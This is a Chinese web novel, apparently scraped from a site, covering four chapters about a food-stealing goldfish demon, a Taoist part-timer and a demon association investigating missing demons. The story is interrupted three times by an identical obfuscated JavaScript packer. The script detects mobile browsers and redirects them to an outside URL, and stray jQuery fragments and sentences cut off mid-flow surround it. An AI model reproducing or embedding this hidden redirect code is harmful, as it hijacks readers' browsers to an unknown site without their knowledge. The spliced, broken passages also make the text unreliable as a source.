《带回家的小金鱼成了精》 1. 还没出场的妖怪 不对劲。 江元白凝视着窗台上一盆茂盛的草莓盆栽,他怎么记得前几天才看到这盆草莓结果了。 按道理来讲,应该就是这两天差不多该成熟了。 而现在…… 绿油油的叶、光秃秃的花,一点没见到他原本那么大个红通通的草莓。 绝对不对劲。 江元白眉头紧锁,联想到这两天出现的异常情况,他家里肯定出现了什么状况。 他这两天总感觉家里出现了异常的现象,有些在记忆中的存在的东西老是找不到,还有些东西在无缘无故地减少。 江元白一开始还以为是最近画图画迷糊了,导致记忆出现错乱,记岔了。 但是今天……他低头打开手机翻了翻相册,看到里面那张图片,再抬起头看了好几眼草莓盆栽,深吸了口气,非常肯定地想:家里进贼了。 停顿了下,江元白回到卧室,打开电脑监控,仔细查看。 半个小时后,一无所获。 清浅的眉心皱了起来。 这就奇怪了,不是从家门进来的,难道是窗户? 可惜他只在家门口装了监控,不过哪个单身不养宠男人没事在家里装监控啊。 江元白一边吐槽,一边往外走去。 然而家里转了一圈,几个能够从外面进来的窗户他都看了,连下水道都瞄了一眼,基本都没什么痕迹。 而且钱和一些贵重的东西也没丢,只有一些零零散散的食物不见了。 所以到底是什么贼千方百计跑到他家,不为财只为食? 馋贼? 江元白被自己的想法乐到了。 伸手胡乱揉了把头发,江元白忽然想到了什么,顿住了。 什么馋贼,他家不会进老鼠了吧?! 他顿时感觉鸡皮疙瘩都起来了。 不对。 江元白转念一想,急忙跑到角落里面扒拉出来一张黄色的东西,上面画着一些黑色的笔迹。 仔细瞧,这东西虽然是从角落里面翻出来的,却一点灰尘都没有。 “还没失效啊……” 翻来覆去检查了好几遍,他都确定这张驱蛇虫鼠蚁的符都没有失效。 江元白对自己的能力还是很有自信的。 虽然又排除了一个选项,但是他却狠狠松了口气。 只要不是这些让人毛骨悚然的玩意,他宁愿跑家里的是个妖怪。 江元白心念一动,忽然想到了什么,这是门忽然被打开了。 一个熟悉的大嗓门就传了过来。 “江小白!江小白!” 江元白一转头,就看见了一个粉红头冲了进来。 他朝天翻了个白眼,没好气道:“慢点,小心把我家东西撞坏了。” “撞坏了赔你就是,”贺守一点也不在意,一双杏眼笑眯眯的,“江小白,帮我家大毛做顿饭呗。” “它又吃完了。” 江元白以一种省力的方式斜倚在沙发上,瞥他,“不是四天前才做过一次?” 他记得他做的是一周的量。 “最近好像饭量变大了,”贺守嘿嘿笑着,凑过去讨好道:“大毛就只吃你做的,拜托拜托~” “行吧行吧。”江元白抖了抖,嫌弃地推开对方往厨房走。 大毛是贺守前不久收养的一只白色长毛田园猫,不知道为什么不肯吃猫粮,猫类肉制品也不吃。 一开始贺守也不急,想着饿了就吃了,谁知道这只猫竟然饿得奄奄一息了都不肯进食。 给贺守急得不行,死马当活马喂了一点自己吃的炸鸡,没想到白猫竟然吃了。 这才发现它只吃人类的食物。 后来经过不断尝试,发现除了人类食物,现煮熟的肉也会吃,尤其是江元白煮的。 虽然贺守知道自己厨艺不如江元白,但是不至于连没什么操作的白煮肉都差那么多吧。 后来考虑到吃人吃的食物对猫不太好,只吃白煮肉的话又不够营养,于是贺守就学着网上的教程做猫饭。 谁知道他辛辛苦苦、呕心沥血做出来的猫饭,这只挑嘴的大毛猫竟然浅尝了两口就再也不碰了。 无奈之下,贺守只好去找江元白帮忙,谁让大毛对江元白的手艺情有独钟。 这下皇天不负有心人,大毛的口粮问题终于能解决了。 “大毛怎么胃口变大了?”江元白一边走一边问道。 “我也不知道,”贺守的声音从后方传来,“可能长大了?” 随即他又否定道;“不应该啊,医生说已经成年了。” “可能之前流浪太苦了,现在慢慢适应了吧。” 贺守摊坐在沙发上猜测着。 “说不定。”江元白不置可否地回应着,伸手拉开了冰箱门。 一股冷气吹了出来,江元白目光一滞。 “贺守,”他幽幽的声音传出来,“你最近有碰我厨房冰箱里面的东西吗?” "没有啊,咋啦?" 贺守玩着消消乐,头也不抬道。 “看来,我家真的进贼了。” 江元白看了好几眼空荡荡、一贫如洗的冰箱,终于“啪”的一下关上了冰箱门。 “啥咧?!” 贺守闻言,“欻”一下抬起了头,瞪大眼道:“不是,哪家小贼这么不长眼,敢偷你江小道的家?” “那你觉得是我半夜梦游爬起来把冰箱掏空了?” “emmm,”贺守摩挲着下巴,“福尔摩斯说过:” “当你排除一切不可能的情况,剩下的不管多么难以置信,那就是事情的真相。” “所以,真相就是,”贺守簌的一下看向江元白,“你半夜梦游干的!” “怎么不是你半夜跑进我家偷的?” 江元白都懒得骂他。 “也不是没有这种可能……” 贺守开始思考起这件事的可能性。 江元白瞥他一眼,不动声色道:“你家还有生肉不?” “好像还有。” “我去你家拿。” 至于为什么不去贺守家直接做,当然是因为他家全是猫,江元白实在是受不了。 整整八只猫,整天猫毛满天飞,江元白作为一个轻微洁癖患者实在难以忍受。 “行。”贺守起身,走到门口忽然看到玄关处的水缸里的一抹红色,随口道:“我前两天送你这鱼还活着啊?” “养条鱼而已,”江元白垂眸不知道在想什么,懒懒地随意应了一声,“有手就行。” 贺守嘿嘿笑了几声,跟着江元白到了他家,顺手关上了门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376590|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然后听江元白一五一十地讲了整个事件的全过程。 “没想到自诩神通广大、英明能干的江小道也会遭贼啊。” 听到对方的调侃,江元白嘴角下撇,没说话。 “哈哈哈,哈哈哈哈哈哈!” 贺守见他好不容易吃瘪一次,捂着肚子直乐。 “别笑了,”见对方有愈演愈烈的趋势,江元白没好气道,“我觉得那个贼可能还会来我家。” “嗯?”贺守不明所以。 “或者说,还在我家。” 贺守瞪大了眼,心直口快道:“不可能吧?” “等等,”他像是忽然想到了什么,“难道你是说……” “一点痕迹都没有,估计也只能非人生物才能做到了。” 江元白理智分析着。 贺守却有不同意见,道:“但是,哪个鬼或妖怪会那么傻跑你家自投罗网啊?” 江元白挑眉道:“那你觉得哪个人会大费周章跑我家只为了偷点东西吃。” “额……” 贺守词穷,道:“有道理哦。” “我怀疑可能是个妖怪,”江元白一脸若有所思,他看着贺守一脸好奇的模样,解释道:“毕竟鬼也吃不了东西。” “再者,你就住在我家对面,不可能有小鬼出现。” 贺守点点头,好奇道;“那你准备怎么逮住这个贼啊?” “当然是,”江元白勾唇一笑,“愿者上钩。” “……我去给你拿东西。” 贺守朝天翻了个白眼,懒得理这个装逼的家伙。 他弯下腰一把抱起凑到他脚边一直撒娇的布偶猫,夹着嗓子开口:“二咪来啦~想爸爸了吗?” “喵~” 二咪用沙哑的嗓音回应着,脑袋在贺守掌心蹭啊蹭。 要不是还有事要干,贺守保底要用脸在它柔软的肚皮上滚几圈。 他手上抱着二咪,到厨房打开冰箱拿出需要的食材装进一个大的袋子里,然后递给了江元白。 接过袋子,江元白脚下没动,而是继续问道:“我记得你之前买来的监控器是不是没用了?” “好像是吧。”贺守回想了一下,“我好像放杂物间了,我去找找。” 他之前为了能够随时随地看他家猫,特意一口气买了十个摄像头,家里每个地方三百六十度无死角地放满了。 后来他发现这些摄像头特别碍事,而且他一个宅男天天在家基本不出去,那些摄像头又用不上,于是十个摄像头又被他拆得七七八八,就剩了两三个还用着。 他好像给江元白抱怨过,没想到他还记得。 过了一会儿,贺守抱着一个箱子出来了。 “喏,”他把东西放到江元白面前,“好久没用过了,不知道坏没坏。” “还好我之前封存起来的,上面没落灰,我专门拿个干净的箱子装起来了。” 好歹是多年的死党,贺守也知道江元白的那些臭毛病。 听到这,江元白放下心来,又听贺守说道:“你确定这些摄像头能拍到?” 江元白没回答他的问题,只是勾了勾唇角道:“你要相信科技的力量。” “行行行,你赶紧走。” 贺守看不太顺眼江元白这副样儿,摆摆手将他赶了回去。 2. 出场的妖怪 “唔……什么味道好香?” 甜甜的、香香的,是熊三叔叔又在偷偷吃蜂蜜了吗? 余一安是被一股奇特诱人的味道唤醒的。 她睁开眼,发现自己还在鱼缸里面。 她想起来自己这两天阴差阳错到了一个人类的家中,因为肚子太饿没忍住偷了些东西吃,结果还是因为身体能量透支,晕睡了过去。 “好香啊。” 要不是在水里,余一安感觉自己的口水都要流出来了。 她已经好多年没有闻到过这么诱人的香味了。 环看了一圈,暗灰色的色调让余一安知道自己还在那个人类家中。 现在大概已经是黄昏时刻,窗外橘黄的光透进室内,显得没那么昏暗。 “饿了……想吃……” 闻着那股馋鱼的味道,余一安甩了甩红绸缎似的大尾巴,嘴里没忍住咕噜噜吐出了好几个泡泡。 虽然知道偷吃别人的东西不太好,但是余一安实在是太饿了,在感受到整个屋内只有她自己后,只见空荡荡的客厅突然凭空出现了一个身影。 少女一身红金色的齐胸襦裙,缀着金色的铃铛饰品,斜挎着一个鱼形小挎包。头发用红绳高高扎起,两个眼珠子圆溜溜的,红扑扑的脸蛋上还带着一点婴儿肥,像是年画里的娃娃长大了一般。 “好饿……好饿……” 余一安口中嘟囔着,目光四处追寻着香味的来源。 在看到桌子上那一大块金黄诱人的蛋糕后,两只眼珠子刷一下亮了起来。 “这是什么?”余一安吸溜了下口水,目光黏在了这块看起来十分美味的食物上。 原谅她几十年来第一次下山的小妖怪,从来没见过这种香甜诱人的蜂蜜蛋糕。 “好想吃啊,”余一安饿得昏沉沉的脑瓜子想着,“但是大祭司说过偷吃是不对的……” 不过她之前已经偷吃过一次了,再加一次,应该……问题不大吧? 等她离开的时候把钱留下就好了。 emmm……花了钱,怎么能算偷呢? 顺利地说服自己,余一安对着桌上散发着甜美气息的蜂蜜蛋糕果断下了手。 舔干净指尖残留的最后一缕残留的味道后,余一安心满意足地抬起头,却忽然瞪大双眼愣住了。 不知道什么时候门打开了,一个人站在了门口。 这个人她有印象,正是这间房子的主人。 她现在是应该是撒开腿逃跑呢还是直接原地消失呢? 余一安愣愣地想着,头上的呆毛都翘了起来。 "原来是个小馋妖。" 清越的声音响起,对方朝着余一安走了过来。 这是一个男性人类。 凌乱有些过长的头发,深色的双眼粲然若星子。瘦削干净的脸庞带着一股少年气息,穿着过于宽松的t恤与牛仔裤,身形修长,肩膀瘦削,带着一点单薄感。 看着对方的眼睛,余一安忽然想起来了小鹿儿山上那些她收藏的没带走的亮晶晶的宝石。 瞅着对面呆呆的像是反应不过来的样子,江元白有些无奈,谁知道他这一钓还真的钓上了一条鱼来。 居然是个鱼妖。 那条金鱼是三天前贺守买东西赠送的,因为家里养了猫,也不方便养,于是就送给了江元白。 这算是引贼入室吗? 看着对方盯着她,余一安有些紧张,毕竟她偷吃了他的东西。 “那个……”余一安扣扣手指,颇为不好意思道:“对不起,我太饿了没忍住。” 她挠了挠脑袋,眨巴着眼睛开口:“我赔你可以吗?” 说着她从身侧的鱼形小挎包里掏出来了一沓厚厚的钱,伸到了江元白面前。 “不知道,这些够不够?” 余一安有些忐忑,这些钱都是她下山前大祭司给他的,说这些都是人类交易的货币,可以换人类的食物。 不是,现在的小妖怪都这么富有的吗? 江元白面上不动声色,内心却大为震撼。 “虽然不知道你怎么沦落到这个地方的,”他心里猜测着余一安的来历,口中却道:“你走吧。” “我也不计较那些东西了。” 毕竟这件事只是个巧合,对方也并不是故意的。 至于为什么不怀疑这个妖怪有阴谋,江元白觉得自己看人,哦不看妖还是挺准的。 这小馋妖怪一看就是只傻狍子,天生缺点心眼儿。 “啊,谢谢你!”余一安眼睛亮晶晶道:“你是个好人类!” 江元白一头黑线,这是什么鬼称呼。 “那我走啦!希望下次还能见到你!”好心的人类! 余一安兴高采烈地朝对方挥着手,转身准备打开门离开。 “咚咚咚!”沉闷的敲门声隔着厚厚的门从外面传了进来。 余一安愣了下,手一抖,门开了。 一个熟悉的人类出现在了她的面前。 “……” 余一安先是一惊,随即怒气立马涌了上来:“不是,你个臭道士有完没完?!” “就算你们道士看不惯我们妖怪,也不至于一直逮着我不放吧。” 都追到这里来了。 余一安越想越生气。 她本来有任务下山,谁知道到了半路,带路的螳螂妖被一个母螳螂妖怪吓跑了,就剩她一个妖独自上路。 还好她也不是太路痴,一路上磕磕绊绊也到了约定的地点。 谁知道她一到,一个穿着道士服的男人直直朝她冲了过来,吓得余一安扭头就跑。 于是她逃他追,整整追了一天一夜才把这个臭道士甩掉。 没想到这都三天了,这臭道士还是跟闻着味似的跟上来了。 余一安不仅越来越生气,还越想越委屈。 她一个从来没受过什么挫折的妖怪,第一次来人类社会就经历了这么多惨绝人寰的遭遇。 又是被人追,又是饿肚子,还要昧着良心偷东西吃,偷吃就算了,还被当场逮住了。 一想到这里,余一安就感觉心酸难过,顿时眼圈都红了。 要是大祭司在这里,她肯定都直接哭出来了。 她想大祭司了呜呜呜。 “不是,怎么你还……” 秦巡感觉自己也是接了个苦差事,本来只是去接个妖怪,谁知道对方迟到了半天终于到了,然后他一激动,冲了过去,结果对方看见他直接扭头跑了。 他硬是不眠不休追了一天一夜,结果还是追丢了。 他又找了整整三天,本来打算来江元白这里休息一下吐吐苦水,没想到歪打正着,正好碰到了自己的目标。 他还以为自己出现幻觉了,结果这妖怪上来气冲冲地就骂了他两句。 他一个被骂的还没说什么,她一个骂人的反倒是先委屈上了。 想到这秦巡也是觉得自己有脾气的。 “你怎么见我就跑?” 秦巡本来想用语言来表达自己的愤怒,结果看到对方红通通的眼圈,还是没忍住缓了缓语气。 余一安瞪着他,怕自己没忍住哭出来,气哼哼地道:“我是妖怪,你是道士,你追我,我不跑就是傻妖了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376591|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这,她突然发现发现自己好像没有逃跑的地方了,因为门口被对方堵住了。 她不禁有些忐忑起来。 难道还是要和这个坏道士动手吗? 但是大祭司说这些人很脆弱,能跑就不要打,因为打了人会很麻烦。 尤其是穿着道士袍的,最好就不要接触。 因为人类里面不是每个道士都是友好的。 “喂,你们咋回事?” 江元白靠在墙边看了半天热闹,终于没忍住开口问道。 秦巡听余一安说的话也是才知道其中产生了误会,于是他组织好了语言,一五一十地将其间发生的事都讲了出来。 江元白听完就明白了其中的关键,心想:还真是个小蠢妖怪。 余一安也明白了是自己误会了,于是将自己的情绪憋了回去,不好意思地扣手指:“对不起。” 见她态度变好,秦巡也缓和了,毕竟这事他也有责任。 “没事,就是下次别跑那么快了。” 秦巡甩了甩自己脑后的小辫子,迈步想要进到屋内。 “你站住。” 带着点威胁的声音响了起来。 “?” 秦巡抬头看向江元白,愣了下突然想起来这人爱干净的臭毛病,只好无奈妥协:“行吧行吧,我先回家洗个澡。” 毕竟他已经连续几天没洗澡了,一身邋里邋遢,脏兮兮的模样。 秦巡住的地方其实就在江元白左边隔壁,这并不能能算是他家,换一种说法应该算是宿舍。 江元白也是这样。 他俩都是妖怪协会的打工人。 只不过秦巡是全职,江元白是兼职。 “你先在这等会我,晚点带你去协会。” “会长那老头应该等急了。” 说完他就进了隔壁屋子,啪的一下关上了门。 留下余一安和江元白大眼瞪小眼。 最后还是余一安先开口:“好人类你也是妖怪协会的吗?” 什么鬼称呼? 江元白看了她一眼,心里寻思这么蠢的样子,那妖族到底是怕不是脑子不好才派她来的? 不过他面上不动声色,道:“我的名字叫江元白。” 余一安心想对方都报出名字了,她是不是也要告诉对方自己的名字。 于是她兴奋地道:“好人类,啊不白白你好,很高兴认识你!” 没等江元白说话,她接着道:“我叫余一安。” “剩余的余,一个的一,平安的安。” “你可以叫我小鱼!” 江元白又看了她一眼,先是点了点头,随即又忍不住道:“能换个称呼吗?” “嗯?” 余一安表示不是很理解对方的意思。 江元白嘴角下垂,稍微深呼吸一口气道:"不要叫我白白。" 余一安挠了挠脑袋,点点头嘿嘿一笑,道:“好的白白,那我应该叫你什么?” 她睁大眼好奇看向江元白。 江元白一边提醒自己不要和傻狍子生气,一边回答道:“直接叫我名字就行。” “好吧。” 余一安遗憾地叹了口气,她是真的觉得白白这个名字很可爱欸。 很适合这个好心的人类。 她又想起来什么,比划着手指认真地对江元白道:“emmm……按照你们人类的岁数来讲,我刚过九十九岁生日,你应该叫我嗯……余奶奶。” “?” 江元白感觉对方的话像是一记重锤砸向了他的脑袋,始料未及,一时间没反应过来。 3. 接任务的妖怪 妖怪协会秉持着人妖和谐相处的理念而设立,其日常主要职责是处理妖族在人类社会引起的一系列相关事件。 每个下山的妖怪都知道,他们要是在人类社会遇到什么困难,都可以到妖怪协会寻求帮助。 妖怪协会会长办公室内。 “咚咚咚!” “请进。” 听到敲门声,妖怪协会会长苍阳华头也不抬地说道。 他刚刚得到消息说外头又有两个妖怪失踪,加上之前的就已经整整有十三个妖怪失踪了。 妖怪失踪案件长时间得不到进展,这下又变得异常焦灼。 “会长,我把人带来了。” 有些沙哑的声音响起。 知道自己等的人来了,苍阳华终于从一堆文件里面抬起了头,在看到秦巡苍白疲惫、眼睛下面还挂着两个重重的黑眼圈时,还愣了一下。 不过随即他脑子一转,也就反应了过来。 他露出一抹和煦的笑:“这位就是余额……余小姐吧。” “会长你好!” 余一安嘿嘿一笑,双手扯了扯衣角,道:“不好意思,我来晚了。” 苍阳华挥挥手表示都是小事,道:“事情的经过我都知道了。” “都是误会。” 随即他目光转向一旁被叫过来加班而明显心情不爽的江元白。 没有哪个打工人会喜欢突然被叫去公司加班。 苍阳华假装没看到他的臭脸,继续开口道:“近三个月来江省各地连续发生了十三起妖怪失踪案件。” “经过调查发现这些失踪案件都有一个共同的特点。” “在案件发生前没有一点挣扎的痕迹,每一个失踪妖怪都像是忽然凭空消失,直到几天后才发现不见了。” “我们已经调查了两个多月,到现在基本还是没有头绪,失踪的妖怪也越来越多。” “怎么不通知还在外面的妖怪回去?”江元白有些疑惑。 “通知了,”苍阳华叹息一声,“有些回去了,有些怎么劝都不肯走。” “这不是案件没有进展,还愈发严重,妖族也急了,他们那些大妖不方便突然到人类社会来,就派了个妖来协助我们工作。” 说到这,三双眼睛齐齐看向了余一安。 余一安歪着头,咧开嘴对着他们露了个大大的笑容。 江元白这才发现她笑起来时左边脸颊上有一个若隐若现的梨涡。 他有些怀疑就这家伙真的能有什么正向帮助吗? 苍阳华也没忍住笑了笑,接着道:“余小姐可是很厉害的妖呢。” 听到他这么说,余一安稍微挺了挺骄傲的小胸膛,点点脑袋肯定对方。 另外两人都没发表什么言论,至于心中怎么想的那就只有自己知道了。 “元白,”苍阳华沉吟了一下,“咱协会里面你脑子是转得最快的,道术学得也是最好的。” “……” 江元白抿唇压住自己上扬的嘴角,表示自己不吃糖衣炮弹。 果然下一刻就听到苍阳华说道:“我准备成立一个联合调查小组。” “我打算任命你为组长。” 江元白刚想拒绝这个听起来就很麻烦的差事,耳边就听到: “你任务期间的工资翻十倍,奖金和补贴另算。” 他顿时收回了自己已经组织好的拒绝的话。 没有人能够拒绝翻倍的工资,就连他也不行。 苍阳华接着道:“秦巡、余小姐,你们两个为副组长,协助江元白调查失踪案件。” 秦巡可有可无地点了点头。 余一安第一次接到任务,顿时面色泛红、双眼发亮,有些跃跃欲试:“好的会长!” “我一定努力完成任务!” “好好好。”苍阳华看到她一副打了鸡血的样子,不由得点点头,有些欣慰。 现在的年轻人就是缺乏这种干劲。 江元白瞥了她一眼,心想:“分钱没有,打白工这种事,也就这种刚初出茅庐、没啥见识的小妖怪才这么高兴。” 他才不承认方才这傻鱼一声奶奶差点给他整劈叉。 秦巡不想参与他们的弯弯绕绕,也不在意自己的工资多少,他现在只想赶紧回去躺床上睡大觉,睡到自然醒后再起来美美的喝点小酒。 想到这,他一直忍住的哈欠终于打了出来,随手擦掉两边溢出来的眼泪,有气无力道:“会长,没我啥事的话我先回去了。” 苍阳华也知道他这几天辛苦了,于是点点头,摆手让他走了。 见苍阳华似乎还有什么事的模样,江元白靠在沙发上,双手枕在脑后随意问道:“最近干啥了,突然有钱了?” 都有钱给他工资翻倍了,还是让他难以拒绝的十倍。 见他这么敏锐,苍阳华淡淡一笑,道:“还记得我一直给你说的那个一直投资咱们协会的人吗?” 妖怪协会成立十六年来,自打成立起就经费有限,贫穷潦倒,就连员工也就寥寥几个。 全靠苍阳华苦苦支撑运转起来,工资低也就算了,偶尔还要自己补贴进去一点。 不过十年前突然有一个神秘富豪找到了苍阳华,表示他想要给协会资助捐款。 虽然不知道对方怎么知道这个协会的,但是有钱不接是孙子。 苍阳华当然不是孙子。 于是有了这笔资金,妖怪协会的情况就慢慢好了起来。 这也不算完,在接下来的十年里,每年这个富豪都会往妖怪协会捐赠一笔数额不算小的金额。 但是这个富豪本人从来没有亲自露面过。 都是对方的秘书与苍阳华交接。 可以说,要不是这个撒钱的富豪,妖怪协会都发展不成目前这样。 “到账了?”江元白兀自猜测着,随即又有个疑惑:“今年不是还有好几个月吗?” 一旁的余一安找了个地方坐下,托着下巴好奇地盯着他们说话,腮帮子一鼓一鼓的像是在吃什么。 苍阳华点头又摇头,道:“今年资助提前了,还多了很多。” “沈秘书前两天昨天来找了我。” 沈秘书就是那个大富豪每年专门和苍阳华交流的秘书。 “说了什么?”江元白终于有些好奇。 “对方听说妖族来的妖是余小姐,说是那位先生和余小姐的故人是旧识,有些怀念旧友,想要和余小姐见上一面。” “啊?” 听到苍阳华说到自己,余一安呆了呆,傻乎乎问道:“我吗?” 想了想又道:“他认识大祭司吗?” 她口中的大祭司相当于妖族族长,负责掌管妖族内一切事物。 余一安自从母亲去世后就是大祭司温再玄带大的。 “应该不是。”苍阳华摇摇头。 妖族大祭司每年都会来一趟协会和他交接相关事务。 江元白没说话,心里却琢磨着: 按照对方说的来看,这个旧识如果是这傻鱼认识的人,那大概应该也是一个妖怪。 余一安也在想着会有谁认识她,不由得有些高兴,忍不住身体前后左右晃来晃去。 这时苍阳华看了眼亮起来的手机屏幕,轻咳两声开口:“丁嘉说他们来了。” “沈秘书说许先生不想太过高调。我们去会客室外面等他们。” 他稍稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376592|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深呼吸一口气,没想到他都一把年纪了,还有机会体验一下心跳加速的感觉。 “我也要去?” 江元白并不是很乐意大晚上一直加班。 “三倍加班费。” “等会需要拿什么吗?” 江元白原本散漫的表情立马消失了,一骨碌站直了起来。 “不用。” 苍阳华一脸淡然地开口。 给余一安看得一愣一愣的,眼珠子满是新奇,不停地左顾右盼。 …… 会客室门口。 余一安三人刚到不久,就见一个矮矮胖胖的人引着两个人过来了。 矮胖的是苍阳华的秘书,两人中右边的男人一身笔挺西装,稍显年轻,和左边那人说着话,面色带有恭敬。 她好奇地打量左边那个男人:大约三十几岁,面孔俊朗,双眼深邃,岁月似乎并没有在他身上留下多少痕迹。 身姿挺拔有力,举手投足间都散发着一股从容不迫的气势。一身唐装简洁而大气,恰到好处衬托出他儒雅稳重的气质。 一旁的苍阳华自看到许漠的那一刻,霎时瞳孔一震。 竟然……竟然是这位大佬! 他擦了擦手心的汗,连忙上前,恭敬而客气道:“许先生,欢迎您的到来,非常荣幸能和您见面!” “苍会长,打扰你了。” 许漠微笑着点了点头。 一旁若有所思的江元白见状也上前打了个招呼:“许先生,您好!” “你好。” 余一安看他们打招呼,迫不及待也跳上前一步,大大咧咧开口道:“许先生你好!” “听说你认识我?” 她睁着一双圆溜溜的眼珠子盯着许漠。 看向余一安,许漠面色和缓了些。 他眼神温和,道:“你母亲余若还好吗?” 闻言,余一安身体内兴奋窜动的气息一下子消失了,她眼角下垂,闷闷道:“娘亲在我化形前就去世了。” 许漠闻言一怔。 随即轻吸一口气,神色复杂,口中喃喃什么。 “许先生你在说什么?我没有听清。” 第一次下山就遇到了认识自己娘亲的人,虽然想到娘亲有些难过,但是她又有些开心,想要知道关于她娘亲的故事。 大祭司经常和她讲娘亲以前在外面游历的事情。 但那都是和大祭司一块发生的事,她还想知道更多的事。 没有等到许漠的回答,余一安也没在意,只继续道:“许先生,你能告诉我关于我娘亲的事吗?” 她一脸期待地看向许漠,眼神亮晶晶的。 许漠轻叹一口气,温和地对余一安笑道:“估计现在不行。” “等我有空的时候吧。” 看到余一安因为失望而垂下的眼角,许漠指尖微动,停顿了下如此说道。 然后他就看见面前的小姑娘的双眼一下子亮了起来,左边脸颊上霎时浮现出一个若隐若现的梨涡。 “……” 看到这个梨涡,许漠有些失神。 接下来,许漠和苍阳华两个人单独不知道聊了什么,只知道两人出来的时候苍阳华格外的热情。 看上去宾客尽欢。 送走许漠后,苍阳华终于才慢慢冷静了下来。 江元白斜靠在墙边看他,漫不经心问道:“什么来头?” 看苍阳华这紧张的样子,估计来头挺大。 闻言,苍阳华深吸一口气,翻来覆去看了好几眼余一安,看得对方莫名其妙之后,才缓缓开口:“许漠知道吗?” 江元白瞳孔一怔,脱口而出:“首富?!” 4. 吃面条的妖怪 早上七点四十五分。 余一安是被饿醒的。 她梦里还在和一群大脑袋青蛙比赛谁跳得更远,睁开眼才发现是自己的肚子饿得呱呱叫。 比起其他妖来说,余一安从小就饿得十分快,如果身体不能及时进食补充能量,那她就会直接昏睡过去,以最低能量消耗来维持自身基础运转。 想了想,她从小鱼包里面掏出来一把五颜六色、包裹着流光溢彩的糖纸的水果糖。 这是她下山前熊三叔叔给的。 还有十七颗。 余一安一连数了好几遍都是这个数,没有变多。 她鼓了鼓脸颊,挑挑拣拣,最后选了一颗紫色的葡萄味。 余一安喜欢把最喜欢的放到最后吃。 吃完糖,已经是七点五十六分。 还是饿。 余一安有些不开心。 剩下的糖她舍不得吃了。 忽然她想起来昨天会长给她说的话。 “有什么问题的话就去找江元白,他就住你隔壁。” 想到这,她刷一下站了起来,兴致勃勃地跑出去打算敲门。 …… 八点零一分。 江元白是被连续的敲门声吵醒的。 这个声音不像一般的敲门声,要么是以每三下一个频率,要么是毫无节奏一阵猛敲。 而是非常规律地,一下一下,每一次间隔的时间都是相同的。 咚。 咚。 咚。 沉闷的声音就像是从门口砸到了他的心脏上,让江元白忍不住烦躁起来。 终于,他暴躁地抓了把头发,出去一把打开了门。 就看到一条傻鱼愣愣地看着他,一只手傻乎乎地举在那里。 “你最好有正事。” 江元白面色发黑地看着余一安,浑身散发着不是那么友好的气息。 他看着对方先是反应了一下,随即像是想起来了什么,手往包里一伸。 “给你。” 一沓钱出现在了他面前。 看样子,应该是昨天那沓。 “干什么?”他面色和缓了些。 “我饿了,你有吃的,我用这个和你换。” 闻言,江元白复杂地看了他一眼,然后侧开身,道:“你先把鞋换了,进来说。” 随即他又补充了一句:“下次别这么敲门了,怪瘆人的。” “啊?” 余一安乖乖坐到沙发上,一脸疑惑地转过头看他。 “没事,你就坐那里等我一会。” 他暗自叹口气,上次起这么早的时候还是早八的时候。 花十分钟洗漱完,江元白带上围裙进了厨房。 不一会儿一股食物的香味弥漫开来。 “呱呱呱!” 余一安一边咽口水,一边听着自己的肚子呱呱叫。 这时江元白端着一大一小两个碗走了过来。 大的那碗是余一安的,小的那碗是江元白的。 据他观察,余一安的食量应该是偏大的,所以大碗的那份是双人的量。 碗中的汤色清透,面条柔滑如丝,上面还卧了一个金黄色的荷包蛋。点点翠绿的葱花点缀其中,热气氤氲,香气扑鼻。 没一会儿,一大碗面就被余一安就呼噜呼噜吃光了。 连汤都被她一滴不剩全倒进了肚子里。 “哈~”余一安小小呼了口气。 饱了,又没有完全饱。 她抬起头,才发现桌对面的江元白还没开始动作。 江元白怕烫,一般会等凉一点再吃。 但是余一安不清楚,她双眼一亮,刚想说如果对方不喜欢吃的话就可以给她,就听到江元白幽幽开口:“你是饿死鬼投胎?” 听到这句话,余一安瘪着嘴,不开心道:“不是,我是妖,不是鬼。” 江元白:“……” 算了,食不言寝不语。 余一安见他不再说话也不在意,因为温再玄也是不喜欢在吃饭的时候说话。 但是吃完了又太无聊,她就睁着两只大眼珠子打量着对面的江元白。 从她的角度看过去,青年头发柔软乖顺,肤色白皙,白色的居家服干净整洁,姿态挺拔,目光低垂,动作从容而优雅。 她没有注意到,在她的注视下,江元白的身形变得越来越僵硬。 这时有人在外面敲门。 余一安跳下去开门。 看到她哒哒哒跑过去的背影,江元白紧绷的身体才慢慢放松了下来。 想到自己刚才的反应,江元白脸色一臭。 他在紧张什么。 “哟,还在吃呢。” 来人是秦巡,他早上起来跑完步,吃了早餐就来了。 他们昨天晚上约的今天早上九点钟一起讨论案情。 “等我一会儿。” 